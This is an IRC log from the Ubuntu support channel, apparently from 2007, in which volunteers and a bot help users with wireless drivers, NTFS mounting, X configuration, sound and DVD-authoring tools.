[05:40] <robdeman_> ah
[05:40] <cliebow> vim
[05:40] <tbuss> I have a belkin wifi pci card chipset rtl8185L that does nto work. I have tried drivers from sourceforge and native driver from cd with ndiswrapper. nothing has worked
[05:40] <rbil> robdeman_: if you're familiar with the old wordstart CTRL combinations, joe is a nice cli editor
[05:40] <craigbass1976> how do I get the "start" menu back in KDE?  Someone has erased it and I don't even know what it's called.
[05:41] <rbil> *wordstar
[05:41] <yipe> bruenig, you're a genius
[05:41] <ferronica> poningru: E: Couldn't find package ntfs-3g
[05:41] <ferronica> poningru: :(
[05:41] <ep2011> Duckers_ - all it does is check the disk, it doesnt do ANYTHIGN with your harddrive
[05:41] <bruenig> I wish there was a way to weed out the updated stuff too, but the timestamps change so...
[05:41] <vox754> !audacity > Jonas_
[05:41] <ep2011> Duckers_ - its good to check the disk, because even if the md5 is correct, the disk has a good chance of having errors while burning
[05:42] <kingcobra> can somebody please tell me how to get my gui working as normal again thanx
[05:42] <Duckers_> ep2011: The "disk" is actually two hdd's in raid 0... do i have to take any precautions to make that work?
[05:42] <lalakis> when i try to boot live cd I get the error: Buffer I/O error on device hda logical block 357574. What's this about?
[05:42] <tbuss> looking for a way to get a wifi card with a rtl8185L chipset to work. I have tried ndiswrapper and linux drivers from sourceforge. Should I just forget about the card and purchase one that will work
[05:42] <Duckers_> ep2011: you mean the installation disk might have errors?
[05:43] <ep2011> Duckers_ - yes
[05:43] <joaquin_> hello there! installed Ubuntu on my Toshiba Satellite, works GREAT! I still have two things to fix: sound, and the 5-in-1 card reader. Any Toshibites out there? :)
[05:43] <Duckers_> ep2011: ok thanks, one last thing: is raid supposed to work without doint anything special?
[05:43] <Jonas_> vox754: 1.2.4 does not support ALSA, I read that 1.3 would do
[05:43] <joaquin_> (Yeah, I've been googling, and apparently the card reader in Feisty Fawn is buggy)
[05:43] <ep2011> Duckers_ - I have no experience with that, sorry :(
[05:44] <soundray> joaquin_: you've installed feisty? Try #ubuntu+1 please
[05:44] <joaquin_> soundray: thanks!
[05:44] <ferronica> poningru: E: Couldn't find package ntfs-3g
[05:44] <Duckers_> ep2011: thanks for your help =)
[05:44] <yipe> Bruenig, that's okay, this is a HUGE start, I can just quickly pare down the really obvious stuff, this is a great help
[05:45] <gvc> can someone help[ me load my nvidia nforce2 Chipset Driver...I did this lspci | grep -i nvidia at the terminal...I show a 00:04.0 Ethernet controller: nvidia copr nForce2 ehternet controller
[05:45] <ep2011> Duckers_ - No problem
[05:45] <soundray> lalakis: hda could be your CD-ROM device (if it's connected as the master to the primary IDE channel). If so, it's probably a faulty CD.
[05:45] <gvc> but it doesn't work
[05:45] <vox754> Jonas_, never used it, so try it and then tell me, sorry. Try going to their webpage.
[05:45] <soundray> lalakis: try the CD check from the boot menu
[05:45] <ep2011> Does anyone have recommendations of a USB Wireless adapters to buy that is easy for a beginner to configure?
[05:46] <tbuss> I have belkin wifi card chipset rtl8185l apparently it does not work with linux, looking info on where to find support or info, I have looked everywhere
[05:46] <cld2> ep2011: try getting something with the intel chipset, so you can use the ipw2200 or ipw3950? drivers
[05:46] <soundray> ep2011: it's a lottery, unfortunately. Manufacturers often exchange the internals without changing the model name.
[05:46] <soundray> cld2: I've never seen one of those on a USB device -- only mini PCI.
[05:46] <rbil> ep2011: is this for a desktop or laptop machine?
[05:47] <cld2> soundray: you are most likely right. ive only seen them in pcmci and mini pci
[05:47] <kdavf> Anyone have any info on synce->email pgm?
[05:47] <ferronica> Any one here know how to mount Window HDD in ubuntu 6.06 LTS Dapper Drake ????
[05:47] <Jonas_> vox754: I had 1.2.4, which didn't record correctly.. I found a debian package now, which I'll try
[05:47] <ferronica> Any one here know how to mount Window HDD in ubuntu 6.06 LTS Dappers Drake ????
[05:48] <tbuss> question my wifi card works even though wireless router is powered off. No other networks in the area to connect to, how is this possible?
[05:48] <ferronica> soundray: ???
[05:48] <soundray> ep2011: the older the device, the better your chances for it to work. Consider buying used.
[05:48] <ferronica> soundray: Do you have any idea
[05:48] <soundray> !software > ferronica
[05:48] <soundray> !repos > ferronica
[05:48] <gvc> can someone help me load my nvidia nforce2 Chipset Drivers...I did this "lspci | grep -i nvidia" at the terminal...I show a 00:04.0 Ethernet controller: nvidia copr nForce2 ehternet controller...the NIC is most important right now
[05:48] <ferronica> soundray: sorry i didnt get you
[05:49] <tbuss> is anyone here using a wireless card to connect to this channel
[05:49] <ferronica> soundray: in repos what i have to do???
[05:49] <democracy> tbuss: no
[05:49] <soundray> ferronica: read the private messages that ubotu sent you
[05:49] <ferronica> soundray: any changes???
[05:49] <kingcobra> tbuss yes
[05:49] <froyd> !eggdrop
[05:49] <ubotu> eggdrop: Advanced IRC Robot. In component universe, is extra. Version 1.6.17-3 (edgy), package size 459 kB, installed size 1144 kB
[05:49] <tbuss> democracy: are you speaking fro everyone?
[05:49] <soundray> !info ntfs-3g
[05:49] <ubotu> ntfs-3g: Third generation Linux NTFS driver. In component universe, is optional. Version 20060920-0ubuntu2 (edgy), package size 30 kB, installed size 112 kB
[05:49] <vox754> Jonas_, ok, I get it; you are trying to compile a newer version, right? Maybe you also need the dependencies type "aptitude show audacity"
[05:49] <soundray> ferronica: ^^ enable universe
[05:50] <tbuss> kingcobra: could you please guide in the right direction on how to get my card to work
[05:50] <bruenig> all he asked was how to mount, not how to write to it
[05:50] <ferronica> soundray: from synaptic
[05:50] <froyd> hey folks, when i launch any window it always start behind all ones, is there a way to change this ?
[05:50] <ferronica> soundray: source
[05:50] <kingcobra> whats ur card again
[05:50] <vox754> tbuss, I'm on wireless PCI, desktop PC, i386, ndiswrapper 1.37, WEP encryption
[05:51] <soundray> froyd: it's called focus stealing prevention. It *should* only happen when you're typing into the window in front
[05:51] <shay-> blanky could it be that i get my error cause of my vga card(8800gts)?
[05:51] <tbuss> vox754: I need help connecting with a belkin with RTL8185L chipset.
[05:51] <ep2011> rbil - this is for a desktop machine.
[05:51] <zack1> hello guys, does anyone know how to get php command in shell
[05:51] <blanky> shay-: I doubt it, search the forums for '8800 gts', I'm pretty sure other people have installed it with that already
[05:51] <froyd> soundray: ill check here then but anyway thx
[05:51] <tbuss> vox754: ndiswrapper and linux-restricted-modules do not work
[05:51] <ep2011> I have a linksys WUSB54Gv2 and v1 right now, but they are really bad quality, and hardly work
[05:51] <shay-> blanky ok thanks
[05:52] <zack1> i already used sudo apt-get install php5, but after it installed, i can't use php as command in shell, why?
[05:52] <Jonas_> vox754: yes, right, but all dependencies are installed, the error occurs after 'make'
[05:52] <rbil> ep2011: are you stuck on USB? do you also need to cable the connection at the same time as using wireless? I ask because maybe a wireless bridge would be in order. certainly no config necessary
[05:53] <soundray> !php5-cli | zack1, install this package
[05:53] <ubotu> zack1, install this package: php5-cli: command-line interpreter for the php5 scripting language. In component main, is optional. Version 5.1.6-1ubuntu2.3 (edgy), package size 2250 kB, installed size 5016 kB
[05:53] <_daedalus> I made some changes to xorg.conf last night.  I had a backup.  I reverted back to the backup later, but something must have gone wrong becuase now I can't start X.
[05:53] <_daedalus> Is there a place I can find the default xorg.conf for Dapper?
[05:53] <zack1> ubotu: thanks
[05:53] <ubotu> You're welcome! But keep in mind I'm just a bot ;-)
[05:53] <bruenig> _daedalus, just sudo dpkg-reconfigure xserver-xorg
[05:53] <ep2011> rbil - Do you mean PCI? I'd rather USB, as I haven't opened this machine yet and I'm kind of worried about the warrenty..., and what do you mean cable the connection? and can I use WEP with a wireless bridge?
[05:54] <bofh80> join #rhythmbox
[05:54] <_daedalus> bruenig: thanks, I will try that
[05:54] <soundray> _daedalus: there is no default -- it is generated on installation. See if the original is backed up: ls /etc/X11/xorg.conf*
[05:54] <rbil> ep2011: no, I'm talking about runnings standard cat5 cable from NIC in your box to a wireless bridge like this one for example ... http://www.superwarehouse.com/D-Link_AirPlus_Extreme_G_2.4_GHz_Wireless_Bridge/DWL-G810/p/326498
[05:54] <tbuss> is there a channel avail for wireless support
[05:55] <bruenig> soundray, xorg.conf isn't a directory
[05:55] <soundray> bruenig: what? You must have misread something.
[05:55] <Wotanskrieger> hello everybody =)
[05:55] <rbil> ep2011: in my opinion much better than screwing around with USB wireless nics. No config necessary and your ethernet cable can be as long as u want :-)
[05:56] <soundray> bruenig: I never said it was.
[05:56] <vox754> tbuss, what is your hardware, I mean PC or Laptop, USB or PCI
[05:56] <bofh80> does ryhthmbox have CDDB support? i ask here cos there's not channel apparently :D
[05:56] <bruenig> ah
[05:56] <ep2011> rbil - I have a wireless router... I need the thing to plug in to a computer across the house for wireless
[05:56] <ep2011> wireless adapter?
[05:56] <soundray> bofh80: it does -- accesses freedb.org by default as far as I know.
[05:57] <rbil> ep2011: I understand. But a bridge like this just plugs into your computer via ether cable and that's it. no config necessary. works on all boxes.
[05:57] <ep2011> Oh
[05:57] <bofh80> soundray, cool. cos i never seen it work and i can't find an option :D
[05:57] <Wotanskrieger> I'm using Edgy, I would like a comment about when is better migrate to Feisty Fawn (I think that April is early to migrate)
[05:57] <ep2011> rbil - how do you enter the WEP password?
[05:58] <ikonia_> Wotanskrieger: migrate when you feel you are ready
[05:58] <Sixer> Does an apt package exist for Berkeley DB and its headers?
[05:58] <ep2011> rbil - and that looks good, except for the price :X
[05:58] <ikonia_> Sixer: check the repo
[05:58] <tbuss> vox754: PC, trying to install a Belkin PCI wireless card chipset RTL8185L
[05:58] <Sixer> ikonia_: I tried searching in aptitude
[05:58] <bluefox83> i've been having issues with my second hard drive, when i boot up sometimes the system stops saying there's a bad superblock...are there any gui utilities to help me check on the status of my hard drives?
[05:58] <rbil> ep2011: yeh, they are a bit pricey, but I guess that's the price for convenience :-)
[05:58] <ikonia_> Sixer: no joy ?
[05:58] <Sixer> nopes
[05:59] <ep2011> rbil - but I don't get how you would type in a WEP password?
[05:59] <froyd> soundray: Ok , is there a way to disable this focus prevention ?
[05:59] <ikonia_> Sixer: then there probably isn't a package
[05:59] <bruenig> !info db4.4-util
[05:59] <ubotu> db4.4-util: Berkeley v4.4 Database Utilities. In component universe, is optional. Version 4.4.20-6ubuntu1 (edgy), package size 88 kB, installed size 300 kB
[05:59] <Wotanskrieger> ikonia: I think that is better to migrate when the version be stable
[05:59] <RoundyT1> http://www.youtube.com/watch?v=TsZ1BWxFZu4
[05:59] <ikonia_> Wotanskrieger: obviously
[05:59] <soundray> bofh80: I can't find the option myself now -- I must have confused rhythmbox with something else.
[05:59] <tbuss> vox754: I have the output from running make if you think that will help
[05:59] <Sixer> ikonia_: Actually searching for libdb is coming up with results
[05:59] <RoundyT1> http://www.youtube.com/watch?v=TsZ1BWxFZu4 -- This almost made me cry, its amazing
[05:59] <ikonia_> Sixer: perfect, so there are results
[05:59] <vox754> tbuss, I didn't see that card on the ndiswrapper list, but feel free to have a look again http://ndiswrapper.sourceforge.net/mediawiki/index.php/List
[05:59] <rbil> ep2011: I don't use one, but have friends that do. probably login to the device with a browser and set it there
[05:59] <bruenig> !offtopic | RoundyT1
[05:59] <ubotu> RoundyT1: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[06:00] <RoundyT1> its not off topic bruenig
[06:00] <bruenig> RoundyT1, yes it is
[06:00] <ep2011> rbil - what do you use?
[06:00] <ikonia_> RoundyT1: it is
[06:00] <RoundyT1> its about ubuntu. lol
[06:00] <bofh80> soundray, damn, do you know what? i could really use an app with CDDB, it's a real shame, and a bit of a surprise that all these damn music apps forget to mention it on their site
[06:00] <ikonia_> RoundyT1: this is ubuntu SUPPORT
[06:00] <RoundyT1> :-D right.
[06:00] <bruenig> it isn't even about ubuntu the OS, and it isn't about support
[06:00] <ikonia_> RoundyT1: and ubuntu education fund is nothing to do with support
[06:00] <SurfnKid>  RoundyT1 sounds fun
[06:00] <RoundyT1> and that's a movie about SUPPORTING kids in africa
[06:00] <bruenig> it has nothing to do with Ubuntu the linux distro
[06:00] <rbil> ep2011: hardwired on main computers, use wireless pcmcia cards on laptops. Would never use USB for networking
[06:01] <vox754> tbuss, also, current stable ndiswrapper is 1.39, you need headers for compiling "sudo aptitude install build-essential"
[06:01] <ikonia_> RoundyT1: thats nothing to do with Ubuntu Support - please keep it in ubuntu-offtopic
[06:01] <RoundyT1> lol ok.
[06:01] <ucordes> !lts
[06:01] <ubotu> LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server.
[06:01] <BloodyNoob> hi
[06:01] <tbuss> vox754: I used this, dl from sourceforge (rtl818x-1.0.1-b.tar.gz)
[06:01] <bruenig> !hi | BloodyNoob
[06:01] <ubotu> BloodyNoob: Hi! Welcome to #ubuntu!
[06:01] <soundray> froyd: in gconf-editor, play with the setting /apps/metacity/general/focus_new_windows
[06:02] <ep2011> rbil - i'd love to do that, but the router is in my dads office across the house, so its kind of hard to do that..
[06:02] <BloodyNoob> i got a problem with my ati radeon 9200 se can somone help me?
[06:02] <bruenig> !nvidia | BloodyNoob
[06:02] <ubotu> BloodyNoob: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[06:02] <bofh80> soundray, i should note that i went off xmms a while ago. ..  ..
[06:02] <rbil> wp2001: a friend of mine picks up his wireless over 1/2 mile using one of these bridges. has a router in a tree and then beams connection to his sail boat 1/2 mile away using this bridge on his boat
[06:02] <BloodyNoob> it is installed but without 3d
[06:03] <BloodyNoob> :(
[06:03] <pibarnas> BloodyNoob beryl?
[06:03] <BloodyNoob> are some germans in here
[06:03] <BloodyNoob> beryl?
[06:03] <aoirthoir> rbil: i think i just fell in love with your friend
[06:03] <gvc> how do you install nVidia chipsets> for NIC and audio?
[06:03] <rbil> ep2011: doesn't matter where router is, if u can get a line of sight with antenna on the bridge
[06:03] <amanuelcastellan> olama
[06:03] <froyd> soundray: thx dude
[06:03] <tbuss> vox754: during make it says 'building modules, stage 2' i then get a bunch of warnings, example "ieee80211_wx_get_freq" PATH and then undefined
[06:03] <ep2011> rbil - thats not what im saying, I was saying I wish I could do hard-wired
[06:04] <pibarnas> BloodyNoob what's intalled without 3d?
[06:04] <rbil> ep2011: and u can also connect higher gain antenna to the bridge
[06:04] <vox754> tbuss, I think what you downloaded is a kernel module, probably integrated on the kernel itself so you may not need it. I assume you are following a guide somewhere, have you checked the ubuntuforums.org?
[06:04] <soundray> bofh80: sound-juicer definitely has freedb support. Please don't use swearwords here - it gets in the way of people who want to use the channel professionally.
[06:04] <amanuelcastellan> olarocio
[06:04] <bofh80> soundray, i swore?
[06:04] <BloodyNoob> i tried the radeon driver and thee flgrx
[06:04] <BloodyNoob> or somethin like that
[06:04] <bofh80> soundray, ahhh the d*mn word?
[06:04] <rbil> ep2011: idea of a bridge like this is that the computer treats it as if it was hardwired to a router
[06:04] <tbuss> vox754: yes, please take a look at this http://www.ubuntuforums.org/showthread.php?t=391843
[06:04] <soundray> bofh80: twice in one line, and you can't remember! ;)
[06:05] <rocioliebana> nio  has visto cuando tu hermano a pegado un moco en la pared
[06:05] <sacater> !sound Ahorner
[06:05] <ubotu> Sorry, I don't know anything about sound ahorner - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:05] <FrostCS> Is there a way to compare dvd to iso (or extracted iso) ?
[06:05] <bofh80> soundray, hahahahahahaha :) not a swear word to me, why i use it lol. normally i just use *** lol
[06:05] <sacater> !audio Ahorner
[06:05] <ubotu> Sorry, I don't know anything about audio ahorner - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:05] <rbil> ep2011: iow, no drivers to install. it just works.
[06:05] <Ahorner> lol
[06:05] <Ahorner> !sound
[06:05] <ubotu> If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[06:05] <rocioliebana> siiiiiiiiiiiiiiiiiiiisiiiiiiiiiiiiiiiiiiiiiiiiiiii
[06:05] <bofh80> soundray, anyway, i will try sound juicer. i don't think i've bothered before
[06:05] <rocioliebana> lbfkgf
[06:05] <IndyGunFreak> ?
[06:05] <ikonia_> rocioliebana: stop it
[06:05] <Ahorner> ive already tried that
[06:06] <sacater> can someone help Ahorner with sound please, he ran updates and he claims sound has failed
[06:06] <IndyGunFreak> ikonia_: i think he got one to many swirlies in high school.
[06:06] <Ahorner> somebody else said they had the same problem
[06:06] <kingcobra> tbuss c can u download this driver http://www.opendrivers.com/freedownload/234627/realtek-rtl8185l-wireless-driver-26.1010-linux-kernel-2.6.x-download.html
[06:06] <sacater> !sound | Ahorner
[06:06] <ubotu> Ahorner: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[06:06] <soundray> FrostCS: you can run md5sum on the iso and on the DVD device.
[06:06] <ikonia_> sacater: he JUST did that
[06:07] <Ahorner> asa is enabled
[06:07] <Ahorner> asla
[06:07] <FrostCS> soundray: dumb question, how do I run md5sum on the dvd? ubuntu isn't letting me access the dvd from shell
[06:07] <bofh80> soundray, hmm, maybe i'm asking about the wrong thing. i want CDDB for my MP3's ? am i asking for the wrong thing. i don't use CD's anymore, long since put my 600cd's in my DB :D
[06:07] <RoundyT1> how do i edit the "background" image that is seen in the background when i rotate the beryl cube?
[06:07] <Ahorner> probably need iso
[06:07] <soundray> FrostCS: try with sudo
[06:07] <ikonia_> RoundyT1: same way you set a desktop wall paper
[06:07] <Ahorner> sudo md5
[06:07] <FrostCS> soundray: already ran it onm the dvd, and extracted to a /temp also.. to compare 1 to 1
[06:07] <sacater> RoundyT1: easy, go to beryl-manager, and look for skydome
[06:07] <RoundyT1> okie.
[06:07] <FrostCS> soundray: i'll give that a shot :-)
[06:07] <amanuelcastellan> olarociovamosasalir
[06:07] <rocioliebana> la gilipollas de la isabel maria se ha tirado un follon
[06:08] <tbuss> vox754: I'm downloading right now, how should install go? Will I need to use ndiswrapper or is this a Linux driver that will require install only?
[06:08] <ikonia_> !es  rocioliebana
[06:08] <ikonia_> (guess its es)
[06:08] <ubotu> es: An extensible shell based on `rc'. In component universe, is optional. Version 0.90beta1-10.1 (edgy), package size 99 kB, installed size 248 kB
[06:08] <vox754> tbuss, what are you downloading?
[06:08] <ubuntu__> hello im new to this and was wondering if anyone could point me in the direction of tutorials
[06:08] <soundray> ikonia_: it was until yesterday or so...
[06:08] <rocioliebana> yo no quiero  salir hacemos una fiesta en mi casa
[06:08] <ikonia_> soundray: bum
[06:08] <ikonia_> !esp
[06:08] <ubotu> Sorry, I don't know anything about esp - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:09] <soundray> !es | rocioliebana
[06:09] <ubotu> rocioliebana: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[06:09] <amanuelcastellan> porfavortonta
[06:09] <RoundyT1> sacater, I have the SVN+ version...not finding it...
[06:09] <tbuss> vox754: Realtek RTL8185L Wireless Driver 26.1010 Linux Kernel 2.6.x in Opendrivers.com
[06:09] <ikonia_> ubuntu__: http://www.ubuntu.com http://wiki.ubuntu.com http://www.ubuntuforums.com
[06:09] <rocioliebana> no tonto
[06:09] <sacater> RoundyT1: ask in #beryl
[06:09] <sacater> RoundyT1: or #ubuntu-effects
[06:09] <Ahorner> guys..
[06:09] <ubuntu__> thank you
[06:09] <RoundyT1> sacater, actually i just found it lol thanks
[06:09] <Ahorner> how do i make a directory from terminal
[06:09] <Ahorner> md?
[06:09] <ikonia_> Ahorner: mkdir
[06:09] <Ahorner> ok
[06:09] <soundray> ikonia_: interesting, ubotu got the 'info' factoid because you left out the |
[06:10] <ikonia_> soundray: yeah I picked up on that when you did it right
[06:10] <vox754> tbuss, I guess you need to recompile the whole kernel for that to work, I think your approach has been a little savage
[06:10] <ucordes> !beryl
[06:10] <ubotu> Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[06:10] <sacater> RoundyT1: tis no problem my newbie friend
[06:10] <bluefox83> is there a utility that will let me see all the partitions on all my hard drives?
[06:11] <soundray> bluefox83: 'sudo fdisk -l'
[06:11] <sacater> bluefox83: yes linhdd
[06:11] <bluefox83> linhdd?
[06:11] <rocioliebana> hermano dice elkvijdfdvkosdfjviosdfjdfusuhiuuihuila rocoiodsklk
[06:11] <soundray> bluefox83: 'sudo fdisk -l'
[06:11] <bluefox83> !linhdd
[06:11] <kingcobra> tbuss did ya try that driver
[06:11] <ubotu> linhdd: GTK frontend for cfdisk/df/hdparm/mkfs. In component universe, is optional. Version 0.2-4 (edgy), package size 12 kB, installed size 116 kB
[06:11] <rocioliebana> lssdsccccccccccccps`pcsdcplcalps
[06:11] <soundray> rocioliebana: stop it
[06:12] <tbuss> vox754: okay, i know nothing about Linux, just stated using this month. I appreciate your help
[06:12] <iulian_> how can I see what processes are runing now on my Ubuntu 6.10 Server?
[06:12] <kingcobra> soundray can ya help me with gnome settings daemon
[06:12] <erUSUL> iulian_: ps, top, pstree
[06:12] <amanuelcastellan> olarocioparecequelaisavelsatragadoelfollo
[06:12] <rocioliebana> nio el alex es mi novio
[06:12] <ikonia_> !ops
[06:12] <ubotu> Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos, tonyyarusso, PriceChild or Amaranth
[06:12] <tbuss> kingcobra: not yet I guess it's more than a driver, not sure about reconfiguring my kernel
[06:12] <Ahorner> how do you sudo in gui
[06:13] <Randal> I didn't see in a quick googling - is there an RSS feed for ubuntu significant updates to stable releases?
[06:13] <soundray> rocioliebana spamming, too, apokryphos
[06:13] <bluefox83> oh shit! for some reason /dev/hdb1 says it's fat32 and i never put fat32 on that >.>
[06:13] <erUSUL> Ahorner: gksudo
[06:13] <vox754> tbuss, usually everything you download as .tar.gz has instructions on how to compile it in a README file. By the way, I've been browsing the forums and it seems that indeed your card is rare.
[06:13] <Ahorner> ok
[06:13] <ikonia_> bluefox83: no need for the language !
[06:13] <nalioth> Ahorner: gksudo or kdesu
[06:13] <SecrethX> does someone know a wmv2dvd thing and it is not tovid?
[06:13] <bluefox83> how do i fix that without losing all the data on /dev/hdb1?
[06:13] <erUSUL> !ohmy > bluefox83
[06:13] <bluefox83> oh, sorry folks :X
[06:13] <turepalsson> I tried the 7.04 beta on my laptop, but it started X with some video mode that was totally incmpativle with the video hardware. Should I enter that into some bug tracking system (along with exactly what sort of laptop it was, of course)?
[06:13] <bluefox83> slip of the fingers >.>
[06:13] <soundray> kingcobra: please describe your problem to the channel again.
[06:13] <nalioth> turepalsson: join #ubuntu+1 for your question please
[06:13] <Ahorner> g2g
[06:13] <Randal> I ask because I have ubuntu under parallels, and so I fire it up only occasionally, and would like to know when I should do that to pick up an update
[06:13] <soundray> turepalsson: ask in #ubuntu+1 please
[06:14] <tbuss> kingcobra: okay, perhaps a card that is more compatible with Linux would be a solution?
[06:14] <turepalsson> nalioth: , soundray: ok
[06:14] <bluefox83> Randal, some people update weekly
[06:14] <Randal> I undersatnd what I *can* do.
[06:14] <tbuss> kingcobra: I bought this Belkin because I thought it used the Broadcom chipset. I was able to install another Belkin with a Broadcom chipset without incident
[06:15] <Randal> what I want to know is if I overlooked some RSS notification
[06:15] <laptop> I installed Realplayer 10 and cspan files still wont play with it, rtsp files wont associate with realplayer, in firefox, its excruciating. wtf?
[06:15] <ikonia_> Randal: then you missed some info
[06:15] <kingcobra> after logging in gnome or ubuntu stalls and after a wile it loads with basic gui and gives error msg
[06:15] <Randal> oops, when?
[06:15] <tbuss> kingcobra: I wish there was a way to make sure what chipset the card is using before purchase
[06:15] <zack1> if installed pear using apt-get install php-pear,  what is the path should i include in php.ini?
[06:15] <ikonia_> Randal: I meant if you missed the rss feed
[06:15] <kingcobra> tbuss yeah its a pity
[06:16] <SecrethX> does someone know a wmv2dvd thing and it is not tovid?
[06:16] <tbuss> kingcobra: thanks for your help kingcobra
[06:16] <Randal> Well... what I'm saying is that I check RSS feeds hourly or so.  I may not start ubuntu up for a while, because it takes a bit of time.
[06:16] <soundray> How can I get some info about a running process? I know the usual stuff -- ps, top etc. -- but I've got this data analysis program running for 24h now and I've no idea whether it's doing anything useful or whether it's caught in an endless loop.
[06:16] <erUSUL> SecrethX: ffmpeg
[06:16] <kingcobra> tbuss i didnt realy help ya much tho :) sorry
[06:16] <tbuss> vox754: thanks for your help vox754
[06:16] <Randal> so if there's an rss feed for updates, especially security updates, that'd be great.
[06:17] <SecrethX> erUSUL, well, I wanted to create a whole dvd, with a menu and stuff like that
[06:17] <kingcobra> tbuss, just make sure the shop has a good returns policy when ur buying
[06:17] <vox754> tbuss, a ray of hope http://www.ubuntuforums.org/showthread.php?t=320658&highlight=RTL8185L
[06:17] <Randal> so is there one, and I just didn't find it with googling?
[06:17] <bruenig> SecrethX, if you can get the mpeg, you can use dvdstyler to make menus and such
[06:17] <anirudha> anyone, Hi my system dual boots Ubuntu and Windows XP. Yesterday I installed Kubuntu thru Ubuntu console, using the command "sudo aptitude install kubuntu-desktop". Once installed I saw that with Kubuntu my computer runs slower so I uninstalled it using "sudo aptitude remove kubuntu-desktop". But even now when I boot my system, and select Ubuntu at the dual boot menu, it still displays the Kubuntu name instead of Ubuntu. I k
[06:17] <anirudha> now the uninstall worked because I don't have Kubuntu in my "Sessions" menu anymore. I would appreciate some help in getting back my Ubuntu name at boot.
[06:17] <soundray> kingcobra: can you paste the first line of your /etc/hosts please (I think it'll be okay to paste since it's only one line)
[06:17] <erUSUL> SecrethX: devede is a graphical app
[06:18] <RoundyT1> hey, is there a "Logitech" ubuntu channel?
[06:18] <tbuss> vox754: man your awesome, this looks like it has some potential
[06:18] <SecrethX> erUSUL, tried devede, I dunno if it is something with the wmv, but most apps just wont work
[06:18] <SecrethX> bruenig, so first I need to convert it to mpeg?
[06:18] <kingcobra> soundray, 127.0.0.1 localhost
[06:18] <soundray> laptop: Edit-Preferences-Content-File types (and please don't abuse /me)
[06:18] <Krazytekn0> !fiesty
[06:18] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn") should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[06:18] <ferronica> soundray: How to add repository --->deb http://ntfs-3g.sitesweetsite.info/ubuntu/ dapper main main-all
[06:18] <soundray> kingcobra: okay, it's not that then
[06:18] <bruenig> SecrethX, convert it with devede or tovid if tovid works to a dvd compatible mpeg and then you can use dvdstyler to make menus and the iso and even burn it all
[06:19] <bofh80> oh my
[06:19] <Randal> ok - no answer, I guess I'm not missing anything, except fulfillment. :)
[06:19] <ferronica> soundray: where is the option add REPO there is only one option add Disc
[06:19] <SecrethX> bruenig, I just found out it is already a mpeg, lol
[06:19] <soundray> ferronica: don't. Just add the universe repository, ntfs-3g is in there
[06:19] <laptop> soundray:  you cannot ADD in that method, unfortunately
[06:19] <kingcobra> soundray, has it something to do with gnome or ubuntu
[06:19] <tbuss> vox754: im going to sign off, thanks again for your help
[06:20] <vox754> tbuss, that thing says it has no support for SMP, that is multiple CPU cores, so if you have one, that may be your problem, and you may try a non-SMP kernel.
[06:20] <SecrethX> bruenig, I was messing with tovid, and I thought the convert didnt work, but apparently it did, so now I need to find dvdstyler and that will work?
[06:20] <RoundyT1> hey, is there a "Logitech" ubuntu channel?
[06:20] <ikonia> RoundyT1: no
[06:20] <jski23> i installed wine according to these instructions - http://wiki.winehq.org/UbuntuAMD64 . however, it didn't install a .wine folder in my home folder.  how can i check and see if wine is properly installed?  tia...
[06:20] <soundray> kingcobra: I don't know. I'd add a new user and see if it happens with that one, too.
[06:20] <kalorin> !seen mojo
[06:20] <ubotu> Sorry, I don't know anything about seen mojo - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:20] <dkbg> RoundyT1: no, what's your problem?
[06:20] <RoundyT1> and where can i find like "press" videos....or anything like that...
[06:20] <tbuss> vox754: how to tell if multiple CPU cores?
[06:20] <bruenig> SecrethX, ok this for dvdstyler since it isn't in the repos: wget http://prdownloads.sourceforge.net/wxsvg/wxsvg_1.0b5-1_i386.deb && wget http://prdownloads.sourceforge.net/dvdstyler/dvdstyler_1.5b4-1_i386.deb && sudo dpkg -i *.deb ; sudo apt-get install -f
[06:20] <kingcobra> how do i add new user
[06:20] <rob_> !music
[06:20] <ubotu> Sorry, I don't know anything about music - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:20] <ikonia> RoundyT1: don't know what you mean
[06:20] <rob_> !xmms
[06:20] <ubotu> Audio (Ogg, MP3...) players: Banshee, Beep Media Player, Quod Libet, Rhythmbox, XMMS (GTK/Gnome based) and Amarok, JuK (Qt/KDE based).  Video players: Totem, Xine, MPlayer, VLC, Kaffeine  -  See also !codecs
[06:20] <jrib> kingcobra: system > administration > users and groups
[06:20] <RoundyT1> I have the logitech G7 wireless mouse, works great, just wanted to get my other mouse buttons working.
[06:21] <SecrethX> bruenig, thanks man, I was just googling it
[06:21] <ferronica> soundray: In Ubuntu 6.06 LTS source ---> ADD
[06:21] <vox754> tbuss, well, you should know your hardware. Also I guess "dmesg" should give you info.
[06:21] <rob_> !codecs
[06:21] <blanky> guys I'm in a hurry, where's the frickin mysqladmin program, in what package?
